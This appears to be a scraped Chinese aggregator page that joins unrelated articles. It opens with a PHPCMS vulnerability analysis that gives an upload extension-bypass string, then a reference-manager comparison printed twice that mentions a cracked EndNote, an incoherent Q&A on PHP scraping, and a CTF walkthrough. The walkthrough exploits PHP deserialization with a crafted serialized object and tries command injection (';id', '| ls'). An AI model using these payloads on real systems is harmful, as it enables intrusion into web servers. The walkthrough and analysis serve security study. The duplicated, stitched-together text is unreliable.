$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS
文献管理软件太多不知道用哪个?今天教你怎么管理文献!
网站优化 • 优采云 发表了文章 • 0 个评论 • 82 次浏览 • 2022-07-14 22:54
又一轮毕业季来了,临近毕业的师兄师姐每天在改论文、微信组团打卡中度过。这样还不能激励你们看文献么?
好了我们言归正传。上一篇大家已经知晓了下载文献的各种方法,不管是白猫还是黑猫,能下载到文献的就是好喵~。下载文献只是科研工作者的第一步。接下来,对于文献分类管理和标注就是最重要的一环了。众所周知,文献管理软件有很多,大名鼎鼎的Endnote、Mendeley、Zotero等等……Oh wait,如果你现在还不知道哪个适合你, 那么下面仔细听小编娓娓道来噢。注:最下端的表格对比帮助你更快的选择合适自己的文献管理软件噢!
1. EndnoteEndnote可谓是众多科研人员的心头好了。它是SCl(Thomson Scientific公司)的官方软件,支持国际期刊的参考文献格式3776种,涵盖各个领域的杂志和写作模板。Endnote一个最大的特点就是支持word插件,这对于在word里编辑参考文献,更新编号提供了极大的优势。另外,EndNote的强大之处还在于其自定义特性,通过自定义EndNote的输出格式,滤件和连接论文件。Endnote拥有多种在线数据库以及十分清晰的文献管理页面,导入PDF之后,可以自动获取信息并进行排版。题库样式很全。在知网或其他文献搜索平台下载endnote格式直接导入。然而,Endnote的不足之处在于分组只支持二级目录,批注功能较弱,文件识别速度慢,Label功能只能在排序窗口的中间位置显示Label结果,且不能选择不同Tag,也不时在窗口显示,需要时常保存。不过总体来说,Endnote还是很适合大多数科研人员的,譬如小编自己也在用。下面来一睹真容。(瞧这一目了然的页面谁能不爱呢)
Endnote资源合集:官网:;中文帮助:;Output Styles 下载:;
Import filters 下载:;
Connection files 下载:;
Writing templates 下载:;
科学网EndNote资源大全:(内有视频教程)
;
2.MendeleyMendeley最早是由德国的三个博士开发,后被Elsevier收购的。它是一个在线的学术社交网络平台,可一键抓取网页上的文献信息添加到个人图书馆中;比较适合本地操作和大量PDF的文件管理。社区功能让Mendeley这几年名声大噪。Mendeley的免费下载让很多人欣喜。除此之外,还提供MS Word和Open Office插件,方便在文字编辑器中插入和管理参考文献。支持免费云同步。Mendeley界面稍逊于Endnote(自我感觉)。并且对于国内用户来说有个不好的功能,需要联网登陆才能使用, 在线访问的速度很慢,极大影响体验。
Mendeley资源合集:Mendeley 官网:;Mendeley for Windows:
;Mendeley for Mac OS X 10.6+:
;Mendeley Desktop for Linux:
;Mendeley for iphone,iPod Touch and iPad:
;Mendeley 的使用讲解:;
3. Zotero用Zotero的人员也不在少数。Zotero是一个开放源代码的文献管理软件,其特色之处是可以作为浏览器插件进行使用。本地的Zotero的文献数据库还可以免费上传到Zotero的网络服务器上,不受空间大小限制。相比于EndNote, Zotero最大的特色是无限级的目录分类,一个目录下可以分为多个子目录,这样很便于管理文献。Zotero还支持文献的自定义标签功能,为每个文献自动打上标签。另外,Zotero编辑文档使用外部工具,插件丰富,不存在软件崩溃现象。但是!Zotero的缺点是文献管理、分类方式较单一。必须使用Firefox浏览器。
Zotero资源合集:Zotero 官网:;Zotero for Windows: ;
Zotero for Chrome:;
Zotero for Firefox:;
Zotero for Safari:;
4.CitaviCitavi来自瑞士Swiss Academic Software公司生产的一款文献管理软件,在欧洲被广泛使用,它不仅可以知识管理、任务计划,而且支持PDF原文全文搜索,可以搜索超过4800个图书馆目录和所有主要的信息提供者的数据库。在阅读整理笔记方面,Citavi不仅可以深度整合pdf备注功能,而且还支持创建pdf格式的网页截图噢!
Citavi资源合集:Citavi 官网:;Citavi 官方教程:;
Citavi 中文网站:;
Citavi 6 下载地址:;
Citavi 6 中文论坛:;
Citavi 贴吧:;
5.PapersPapers 是一款Mac平台专业的文献管理工具。它的主要功能包括文献导入、组织、阅读(注释)、自动匹配参考条目,搜索、在文档中插入引用、评点交流等。Papers的一大特点就是支持PDF抓取文献关键信息,支持与iPhone/iPad互联,可以通过云盘方式实现文献多终端阅读。Papers支持六大云盘Box、Google Drive、iCloud、OneDrive、SugarSync、Network file shared。另外,Papers并不是通过Word插件的方式来引用文献,而是通过弹出窗口的方式添加文献。插入引用文献时双击键盘Control键,在弹出的小窗口搜索所需要文献插入即可。总的来说,Papers功能也是很强大的,但是在创建作者名的显示方式、标点的设置方面,还是Endnote更详尽一些啦!
Mac重度使用者必备噢!
Papers资源合集:Papers for mac官网教程:;各种杂志格式的Github的链接:;
6.NoteExpressNoteExpress 是北京爱琴海软件公司开发的一款专业级别的文献检索与管理系统。是一款国产文献管理软件,支持20多种在线搜索数据库,可以很轻松地查找各种数据文献。拥有快速检索的能力,支持数以百计的图书馆数据库和网络电子库。软件分为个人版和集团版两个版本,大部分学校会购买集团版的版权,个人版只能免费试用30天。在官网下载完成后注册账号就可以嵌入word中使用了。NoteExpress对中文文献非常友好、中文杂志的引文格式数量多。可以以题录的方式管理文献。完美兼容WPS,而且全中文界面,操作简单。此外,NoteExpress还提供了重复题目去重、文献校对等功能。想要一款中文版易上手软件的童鞋们可以放心使用NoteExpress!
word插件如下:
NoteExpress资源合集:NoteExpress 官网下载:;NoteExpress图文教程:;优酷教程链接:;
7.JabRefJabRef是一个开放源代码、处理BibTeX格式的文献管理软件,提供了简易操作的界面来编辑BibTeX档案。它的功能包含从网络上的科学数据库汇入资料,以及整理和搜寻 BibTeX 档案等。它的另一大优势是可以使用于各种操作系统,如 Windows、Linux、Mac OS X。
JabRef资源合集:JabRef 主页:;JabRef使用手册:
8.ReadcubeReadCube是个有前途的软件,有着非常强大的搜索功能,它和谷歌学术、PubMed以及Readcube自己的文献库高度集成,可以随时进行搜索,以文献阅读为中心。ReadCube还能根据我们文献库里的文献推荐近期相似的文献,(这个小机灵鬼),可见,它唯一的缺点就是收费了。
ReadCube资源合集:官网:;软件介绍: ;优酷视频教程:;
文献管理软件一览表
软件
Endonte
Mendeley
Zotero
Citavi
费用
付费(250美元),有破解版
免费
免费
免费
文献管理
Word引文插件;标注PDF文件;笔记功能
Word引文插件;PDF文件内搜索;标注PDF文件;跨平台同步;笔记功能
Word引文插件;跨平台同步
Word引文插件;PDF文件内搜索;标注PDF文件;跨平台同步;笔记功能
文献搜索
全文搜索;搜索跨外部数据库
开放数据库;个性化文章建议;读者统计和社区标签;打开Web API;全文搜索;搜索跨外部数据库
打开Web API;全文搜索
开放数据库;个性化文章建议;读者统计和社区标签;打开Web API;全文搜索;搜索跨外部数据库
支持平台
Windows系统;浏览器;Android版;图书馆系统集成
Windows系统;浏览器;Android版;图书馆系统集成;Mac;IOS
Windows系统;浏览器;Mac;图书馆系统集成
Windows系统;浏览器;图书馆系统集成
数据提取
DOI;嵌入式元数据
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
软件
Papers
NoteExpress
JabRef
Readcube
费用
付费(79美元)
付费(学生版198,永久版 698 元)
免费
免费
文献管理
Word引文插件;标注PDF文件;笔记功能
重复题目去重;文献校对;标注PDF文件;笔记功能;标注PDF文件
整理和搜寻 BibTeX 档案
Word引文插件;PDF文件内搜索;标注PDF文件;跨平台同步;笔记功能
文献搜索
全文搜索;搜索跨外部数据库
搜索跨外部数据库
搜索跨外部数据库
开放数据库;个性化文章建议;搜索跨外部数据库
支持平台
浏览器;Android版;图书馆系统集成
Windows系统;浏览器;
Windows系统;Mac;IOS
Windows系统;浏览器;Android版;图书馆系统集成;Mac;IOS
数据提取
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
DOI;引文细节
DOI;PubmedID;引文细节
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
说明
本文内容若存在版权问题,请联系我们及时处理。
欢迎广大读者对本文进行转发宣传。 查看全部
文献管理软件太多不知道用哪个?今天教你怎么管理文献!
又一轮毕业季来了,临近毕业的师兄师姐每天在改论文、微信组团打卡中度过。这样还不能激励你们看文献么?
好了我们言归正传。上一篇大家已经知晓了下载文献的各种方法,不管是白猫还是黑猫,能下载到文献的就是好喵~。下载文献只是科研工作者的第一步。接下来,对于文献分类管理和标注就是最重要的一环了。众所周知,文献管理软件有很多,大名鼎鼎的Endnote、Mendeley、Zotero等等……Oh wait,如果你现在还不知道哪个适合你, 那么下面仔细听小编娓娓道来噢。注:最下端的表格对比帮助你更快的选择合适自己的文献管理软件噢!
1. EndnoteEndnote可谓是众多科研人员的心头好了。它是SCl(Thomson Scientific公司)的官方软件,支持国际期刊的参考文献格式3776种,涵盖各个领域的杂志和写作模板。Endnote一个最大的特点就是支持word插件,这对于在word里编辑参考文献,更新编号提供了极大的优势。另外,EndNote的强大之处还在于其自定义特性,通过自定义EndNote的输出格式,滤件和连接论文件。Endnote拥有多种在线数据库以及十分清晰的文献管理页面,导入PDF之后,可以自动获取信息并进行排版。题库样式很全。在知网或其他文献搜索平台下载endnote格式直接导入。然而,Endnote的不足之处在于分组只支持二级目录,批注功能较弱,文件识别速度慢,Label功能只能在排序窗口的中间位置显示Label结果,且不能选择不同Tag,也不时在窗口显示,需要时常保存。不过总体来说,Endnote还是很适合大多数科研人员的,譬如小编自己也在用。下面来一睹真容。(瞧这一目了然的页面谁能不爱呢)
Endnote资源合集:官网:;中文帮助:;Output Styles 下载:;
Import filters 下载:;
Connection files 下载:;
Writing templates 下载:;
科学网EndNote资源大全:(内有视频教程)
;
2.MendeleyMendeley最早是由德国的三个博士开发,后被Elsevier收购的。它是一个在线的学术社交网络平台,可一键抓取网页上的文献信息添加到个人图书馆中;比较适合本地操作和大量PDF的文件管理。社区功能让Mendeley这几年名声大噪。Mendeley的免费下载让很多人欣喜。除此之外,还提供MS Word和Open Office插件,方便在文字编辑器中插入和管理参考文献。支持免费云同步。Mendeley界面稍逊于Endnote(自我感觉)。并且对于国内用户来说有个不好的功能,需要联网登陆才能使用, 在线访问的速度很慢,极大影响体验。
Mendeley资源合集:Mendeley 官网:;Mendeley for Windows:
;Mendeley for Mac OS X 10.6+:
;Mendeley Desktop for Linux:
;Mendeley for iphone,iPod Touch and iPad:
;Mendeley 的使用讲解:;
3. Zotero用Zotero的人员也不在少数。Zotero是一个开放源代码的文献管理软件,其特色之处是可以作为浏览器插件进行使用。本地的Zotero的文献数据库还可以免费上传到Zotero的网络服务器上,不受空间大小限制。相比于EndNote, Zotero最大的特色是无限级的目录分类,一个目录下可以分为多个子目录,这样很便于管理文献。Zotero还支持文献的自定义标签功能,为每个文献自动打上标签。另外,Zotero编辑文档使用外部工具,插件丰富,不存在软件崩溃现象。但是!Zotero的缺点是文献管理、分类方式较单一。必须使用Firefox浏览器。
Zotero资源合集:Zotero 官网:;Zotero for Windows: ;
Zotero for Chrome:;
Zotero for Firefox:;
Zotero for Safari:;
4.CitaviCitavi来自瑞士Swiss Academic Software公司生产的一款文献管理软件,在欧洲被广泛使用,它不仅可以知识管理、任务计划,而且支持PDF原文全文搜索,可以搜索超过4800个图书馆目录和所有主要的信息提供者的数据库。在阅读整理笔记方面,Citavi不仅可以深度整合pdf备注功能,而且还支持创建pdf格式的网页截图噢!
Citavi资源合集:Citavi 官网:;Citavi 官方教程:;
Citavi 中文网站:;
Citavi 6 下载地址:;
Citavi 6 中文论坛:;
Citavi 贴吧:;
5.PapersPapers 是一款Mac平台专业的文献管理工具。它的主要功能包括文献导入、组织、阅读(注释)、自动匹配参考条目,搜索、在文档中插入引用、评点交流等。Papers的一大特点就是支持PDF抓取文献关键信息,支持与iPhone/iPad互联,可以通过云盘方式实现文献多终端阅读。Papers支持六大云盘Box、Google Drive、iCloud、OneDrive、SugarSync、Network file shared。另外,Papers并不是通过Word插件的方式来引用文献,而是通过弹出窗口的方式添加文献。插入引用文献时双击键盘Control键,在弹出的小窗口搜索所需要文献插入即可。总的来说,Papers功能也是很强大的,但是在创建作者名的显示方式、标点的设置方面,还是Endnote更详尽一些啦!
Mac重度使用者必备噢!
Papers资源合集:Papers for mac官网教程:;各种杂志格式的Github的链接:;
6.NoteExpressNoteExpress 是北京爱琴海软件公司开发的一款专业级别的文献检索与管理系统。是一款国产文献管理软件,支持20多种在线搜索数据库,可以很轻松地查找各种数据文献。拥有快速检索的能力,支持数以百计的图书馆数据库和网络电子库。软件分为个人版和集团版两个版本,大部分学校会购买集团版的版权,个人版只能免费试用30天。在官网下载完成后注册账号就可以嵌入word中使用了。NoteExpress对中文文献非常友好、中文杂志的引文格式数量多。可以以题录的方式管理文献。完美兼容WPS,而且全中文界面,操作简单。此外,NoteExpress还提供了重复题目去重、文献校对等功能。想要一款中文版易上手软件的童鞋们可以放心使用NoteExpress!

word插件如下:
NoteExpress资源合集:NoteExpress 官网下载:;NoteExpress图文教程:;优酷教程链接:;
7.JabRefJabRef是一个开放源代码、处理BibTeX格式的文献管理软件,提供了简易操作的界面来编辑BibTeX档案。它的功能包含从网络上的科学数据库汇入资料,以及整理和搜寻 BibTeX 档案等。它的另一大优势是可以使用于各种操作系统,如 Windows、Linux、Mac OS X。
JabRef资源合集:JabRef 主页:;JabRef使用手册:
8.ReadcubeReadCube是个有前途的软件,有着非常强大的搜索功能,它和谷歌学术、PubMed以及Readcube自己的文献库高度集成,可以随时进行搜索,以文献阅读为中心。ReadCube还能根据我们文献库里的文献推荐近期相似的文献,(这个小机灵鬼),可见,它唯一的缺点就是收费了。
ReadCube资源合集:官网:;软件介绍: ;优酷视频教程:;
文献管理软件一览表
软件
Endonte
Mendeley
Zotero
Citavi
费用
付费(250美元),有破解版
免费
免费
免费
文献管理
Word引文插件;标注PDF文件;笔记功能
Word引文插件;PDF文件内搜索;标注PDF文件;跨平台同步;笔记功能
Word引文插件;跨平台同步
Word引文插件;PDF文件内搜索;标注PDF文件;跨平台同步;笔记功能
文献搜索
全文搜索;搜索跨外部数据库
开放数据库;个性化文章建议;读者统计和社区标签;打开Web API;全文搜索;搜索跨外部数据库
打开Web API;全文搜索
开放数据库;个性化文章建议;读者统计和社区标签;打开Web API;全文搜索;搜索跨外部数据库
支持平台
Windows系统;浏览器;Android版;图书馆系统集成
Windows系统;浏览器;Android版;图书馆系统集成;Mac;IOS
Windows系统;浏览器;Mac;图书馆系统集成
Windows系统;浏览器;图书馆系统集成
数据提取

DOI;嵌入式元数据
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
软件
Papers
NoteExpress
JabRef
Readcube
费用
付费(79美元)
付费(学生版198,永久版 698 元)
免费
免费
文献管理
Word引文插件;标注PDF文件;笔记功能
重复题目去重;文献校对;标注PDF文件;笔记功能;标注PDF文件
整理和搜寻 BibTeX 档案
Word引文插件;PDF文件内搜索;标注PDF文件;跨平台同步;笔记功能
文献搜索
全文搜索;搜索跨外部数据库
搜索跨外部数据库
搜索跨外部数据库
开放数据库;个性化文章建议;搜索跨外部数据库
支持平台
浏览器;Android版;图书馆系统集成
Windows系统;浏览器;
Windows系统;Mac;IOS
Windows系统;浏览器;Android版;图书馆系统集成;Mac;IOS
数据提取
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
DOI;引文细节
DOI;PubmedID;引文细节
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
说明
本文内容若存在版权问题,请联系我们及时处理。
欢迎广大读者对本文进行转发宣传。
php抓取网页数据插入数据库-百度云-云盘同步aws
网站优化 • 优采云 发表了文章 • 0 个评论 • 58 次浏览 • 2022-07-12 06:05
php抓取网页数据插入数据库-百度云-云盘同步aws云文件夹-awsdropbox按节目文件夹或某节目查看带附件或历史文件这些都是实现,简单但有效。sina微博评论打开网页,键入关键词,
那些都是协议,但这些协议都是针对cms的,楼主拿到源代码你也可以把代码放进来自己写,难度很低,只是你的技术实力不够而已,
找到代码,然后自己改造。最快的就是扒客户端源代码。但是也存在各种风险,因为你的代码里面有你自己的东西,别人可能会有很多漏洞去接触这些文件,是自己的文件就要防止被攻破。
云盘什么的都是xml格式的数据,自己写也是可以直接抓的。可以找到其中某一段/storage/cache目录,把它改成regex。复制一下,然后挂载到你的爬虫中即可,完毕。
既然是爬虫的话。像我们公司就是用asp为基础。因为我们公司每天有100多万的发送量。总得找个解决方案啊。
解决这个问题,其实是比较容易解决的。用googlechrome的开发者工具的network标签,查看文件的分布就行了,尤其是url结尾都可以看见。我用googlechrome已经满多年,各种抓取方式基本上都已经摸熟了。google不仅仅提供http接口,还提供https接口,我就用他来抓取很多涉及到服务器的页面。
如果仅仅是想要爬取数据,仅仅是url结尾为“cache/issue”,那么就完全没有必要自己写。有很多现成的抓取工具,比如说云采信和牛牛采信(基于googlechrome的,建议挂vpn使用)。这种服务的好处就是可以一键把数据下发到公司域名的任何一台设备,既省心省事,而且实现起来非常简单。但是,如果你真的想要自己动手的话,可以考虑下这样的思路:比如网上有很多开源的cookiecookie之类的,你需要的是把他们转化为相应的格式,然后让爬虫程序读取。
好处就是可以直接写转化过程的接口,而且直接生成https服务器;坏处就是无法模拟本地浏览器、ip地址或端口,爬虫程序需要写驱动程序从而进行解析,之后再写成https服务器,但是这种方式会比较笨重一些。另外我们公司通过flash来处理httpscookie,不过后来取消掉了。还有你也可以查看看,网上各种抓取数据的教程,里面也是有步骤图的。
不过一旦遇到问题需要用网页地址提交给爬虫工具,工具会识别你的url而不是域名。所以在web浏览器打开爬虫程序的时候你要注意它是否会识别url,如果不识别那就需要爬虫程序进行解析。这些我就不在这里一一赘述了。 查看全部
php抓取网页数据插入数据库-百度云-云盘同步aws
php抓取网页数据插入数据库-百度云-云盘同步aws云文件夹-awsdropbox按节目文件夹或某节目查看带附件或历史文件这些都是实现,简单但有效。sina微博评论打开网页,键入关键词,
那些都是协议,但这些协议都是针对cms的,楼主拿到源代码你也可以把代码放进来自己写,难度很低,只是你的技术实力不够而已,

找到代码,然后自己改造。最快的就是扒客户端源代码。但是也存在各种风险,因为你的代码里面有你自己的东西,别人可能会有很多漏洞去接触这些文件,是自己的文件就要防止被攻破。
云盘什么的都是xml格式的数据,自己写也是可以直接抓的。可以找到其中某一段/storage/cache目录,把它改成regex。复制一下,然后挂载到你的爬虫中即可,完毕。
既然是爬虫的话。像我们公司就是用asp为基础。因为我们公司每天有100多万的发送量。总得找个解决方案啊。

解决这个问题,其实是比较容易解决的。用googlechrome的开发者工具的network标签,查看文件的分布就行了,尤其是url结尾都可以看见。我用googlechrome已经满多年,各种抓取方式基本上都已经摸熟了。google不仅仅提供http接口,还提供https接口,我就用他来抓取很多涉及到服务器的页面。
如果仅仅是想要爬取数据,仅仅是url结尾为“cache/issue”,那么就完全没有必要自己写。有很多现成的抓取工具,比如说云采信和牛牛采信(基于googlechrome的,建议挂vpn使用)。这种服务的好处就是可以一键把数据下发到公司域名的任何一台设备,既省心省事,而且实现起来非常简单。但是,如果你真的想要自己动手的话,可以考虑下这样的思路:比如网上有很多开源的cookiecookie之类的,你需要的是把他们转化为相应的格式,然后让爬虫程序读取。
好处就是可以直接写转化过程的接口,而且直接生成https服务器;坏处就是无法模拟本地浏览器、ip地址或端口,爬虫程序需要写驱动程序从而进行解析,之后再写成https服务器,但是这种方式会比较笨重一些。另外我们公司通过flash来处理httpscookie,不过后来取消掉了。还有你也可以查看看,网上各种抓取数据的教程,里面也是有步骤图的。
不过一旦遇到问题需要用网页地址提交给爬虫工具,工具会识别你的url而不是域名。所以在web浏览器打开爬虫程序的时候你要注意它是否会识别url,如果不识别那就需要爬虫程序进行解析。这些我就不在这里一一赘述了。
php抓取网页数据插入数据库 外壳坚硬的谷子
网站优化 • 优采云 发表了文章 • 0 个评论 • 93 次浏览 • 2022-06-28 22:17
发现了一个java_script脚本(实际渗透工作中应该关注此脚本内容,能够透出出后端的信息)
里面的内容大致的意思是
通过函数,提交表单,通过序列化的操作!IP地址等信息交给ipaddres这个变量序列化的操作!
那么在这里面既然有序列化的操作,是否会存在一个反序列化的漏洞类型呢?
这里还看到了一个被包含的js的文件
点击这个链接 :44441/php.js"
里面的内容大致就是序列化函数,大概率存在序列化操作
先对其页面进行功能化测试,输入127.0.0.1
在结果框中输出了结果
输入一些运营商的DNS的IP地址
结果显示出来,从结果上来看,就是通过操作系统的ping 命令操作得来的!
总的来说这就是一个ping的功能界面(输入Ip ,统计输出一些信息是由服务端调用了系统的ping 命令而来)
这个地方是否会存在命令注入漏洞呢?
使用;号,|管道符这样的连接命令,连接一个系统id的命令
如图:没有任何返回
使用burp抓取请求报文,看一下内部的流量变化,是否存在序列化的数据
先把浏览器代理设置好
通过抓取的报文,得到的是一个POST的请求方式;
携带了一个obj的对象和一个ip 的变量要提交到服务端;
其中这个obj的对象里的内容经过了url编码,将它转换成可识别的路径
转换结果,懂得序列化格式的朋友一看就是php文件之后的序列化数据的格式了
pingTest :序列化对象定义的的类
1 :代表类中一个数据的提交
ipAddress :类中提交的一个数据的变量名称
s : 代表了序列化
9 : 代表了名称ipAddress 和 127.0.0.1字符串的长度。
这就是客户端发送的序列化数据格式到服务端,服务端收到了127.0.0.1这个IP 去完成Ping,然后返回给客户端的一个过程!
如果觉得burp字体小,可以调的大一些
重新抓取一个请求报文,在表单中输入 127.0.0.1;id(增加了注入命令)
在抓取的请求报文中,将obj和ip 这两个类中序列化数据解码成可识别的url,看看有什么变化
序列化的格式基本没变,变化的就是赋值多了;id 这样的内容,字符长度也增加到了12个;
证明了表单中输入注入命令的这些内容,由java_script脚本原封不动的变成序列化的内容。
转发后,服务端并没有执行该序列化的内容
证明服务端对ip地址这样的格式存在检查机制!
为了弄清这个问题,将这个原始的命令发送请求发送给repeater
url被转换后,在repeater中点击send发送给服务端
在重放的界面中,可以构造一些注入命令;
我在这里添加 | ls ,发现服务端的响应报文有500的状态码
改变了字符的长度,虽然不是状态码500的状态码,但是回显页面是黑屏
反序列化的漏洞特征在黑盒测试下,是十分难获取,除非拿到源码!
那么接下来,就需要再目标靶机中找源码,在实际的渗透工作中,源码的存储路径默认在根路径下的.git或者.svn这样的版本库里
先停止burp的截断功能;
访问浏览器,查看是否有git的版本库文件,结果没有提示
查看.svn 也没有
再回想之前的信息收集,中曾描述了这么一段话:让我们关注其备份文件
再次使用dirbuster这个工具对secure.cereal.ctf:44441这个路径下进行隐藏路径和扩展名的爬取,携带体型较大的字典文件
在最终的爬取结果中,看到一些之前没有被爬取出的备份文件路径(根据计算机配置,时间长短不一!)
先访问/icons/small的路径,访问路径看起来但只是有一些小图片,这对渗透没有什么价值;
再针对/back_en这个路径进行隐藏路径的爬取,这里面是否会存在一些备份文件呢,还是利用dirbuster,只不过更换一个小体积的密码字典文件,携带查询扩展名为bak
寻找到了一个index.php.bak,并且这个http状态码是200 (这个状态显示该资源是存在的,并且能够请求到!)
既然发现了这一个文件,回到kali中,使用wget进行下载.index.php.bak
查看文件类型,看起来就是一个php的脚本文件,只不过增加了一个扩展名!
使用kali的文本编辑器mousepad打开该文件
看起来是一个带有php标签的php语言文件;
查看该php源码文件,发现有html标签文件
其中有java脚本文件中的一些序列化操作函数
源码审计分析
class pingTest ---定义了类(反序列化对象的类)
public $ipAddress = "127.0.0.1";--变量名称和赋值
public $isValid = False; -- 校验是失败的
public $output = ""; -- 空值
这是之前抓取的报文中obj对象中有的内容
function validate() {-- 定义了一个函数
if (!$this->isValid) { -- 校验isValid函数是真还是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用过滤器对传入的IpAddress使用方法(使用filter_var进行判断)
$this->isValid = True;--fileter_var函数校验赋值若成功,将这个valid值变为True
}
}
$this->ping(); -- 执行Ping的命令;
}
public function ping() -- 以下是ping 的命令函数具体操作内容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 执行内容就是使用ping 三个报文;
这里需要明白的是过滤器FILTERVALIDATE_IP 里的内容是在目标靶机中别的文件里进行定义的,其作用就是判断输入的内容是不是真正的IP,若是真正的IP,就将isValid改为True;
当post请求接收到来自obj请求的赋值时,进行一个解码的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解码
} else {
$pingTest = new pingTest; -- 新的赋值
}
$pingTest->validate(); --调用vali
分析完成后,攻击思路的重点放在提交的数据(IP地址)校验结果取决于与isvalid判定的结果,在源码文件中,默认isValid = False,若是生成一个序列化的数据,声明isValid值就等于True,这样的话,就会执行ping命令了!
实现绕过服务端的检查!
反序列化漏洞的利用方法
先在客户端上生成一个序列化的数据序列(内容中需要声明类,调用类创建一个新的序列化对象,,对象中的valid指定true,注入Ip地址后添加系统指令)实现饶过isValid真假的校验。
在kali上新建一个生成序列化的php文件,写一个ser1.php的php的代码
运行该php文件
生成了一个序列,将这个序列化的内容拷贝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将序列化内容粘贴到截获的报文之中去
将这个url 地址转换一下
能够看到有两个键值对 ipaddress 和isvalid
b=1 为布尔值,代表了真的意思!
点击发送,服务端返回了http状态码200
再观察服务端渲染回来的界面结果,看起来,是执行成功了!
再次验证结果,将生成序列化里的内容,稍作修改,将ipaddress改成另外一个Ip地址,(注意,如果改202.106.0.20这个IP,字符长度就要从原来的9变为12)要不然服务端会回显500的状态码!
结果成功!
